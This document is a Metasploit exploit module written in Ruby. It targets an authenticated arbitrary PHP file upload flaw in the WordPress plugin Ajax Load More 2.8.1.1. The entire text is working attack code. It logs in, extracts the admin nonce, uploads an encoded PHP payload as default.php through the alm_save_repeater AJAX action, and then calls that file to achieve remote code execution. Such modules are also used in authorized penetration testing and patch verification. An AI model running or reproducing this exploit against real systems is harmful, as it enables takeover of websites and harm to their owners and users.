WordPress Plugin Ajax Load More 2.8.1.1 – PHP Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary file upload in the WordPress Ajax Load More version 2.8.1.1. It allows to upload arbitrary php files and get remote code execution. This module has been tested successfully on WordPress Ajax Load More 2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server. }, 'Author' => [ 'Unknown', # Identify yourself || send an PR here 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['WPVDB', '8209'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Ajax Load More 2.8.1.1', {}]], 'DisclosureDate' => 'Oct 10 2015', 'DefaultTarget' => 0 )) register_options( [ OptString.new('WP_USERNAME', [true, 'A valid username', nil]), OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) ], self.class ) end def check check_plugin_version_from_readme('ajax-load-more', '2.8.1.2') end def username datastore['WP_USERNAME'] end def password datastore['WP_PASSWORD'] end def get_nonce(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), 'vars_get' => { 'page' => 'ajax-load-more-repeaters' }, 'cookie' => cookie ) if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/ return Regexp.last_match[1] else return nil end end def exploit vprint_status("#{peer} - Trying to login as #{username}") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil? vprint_status("#{peer} - Trying to get nonce") nonce = get_nonce(cookie) fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil? vprint_status("#{peer} - Trying to upload payload") # This must be default.php filename = 'default.php' print_status("#{peer} - Uploading payload") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'), 'vars_post' => { 'action' => 'alm_save_repeater', 'value' => payload.encoded, 'repeater' => 'default', 'type' => 'default', 'alias' => '', 'nonce' => nonce }, 'cookie' => cookie ) if res if res.code == 200 && res.body.include?('Template Saved Successfully') register_files_for_cleanup(filename) else fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling uploaded file") send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename) ) end end |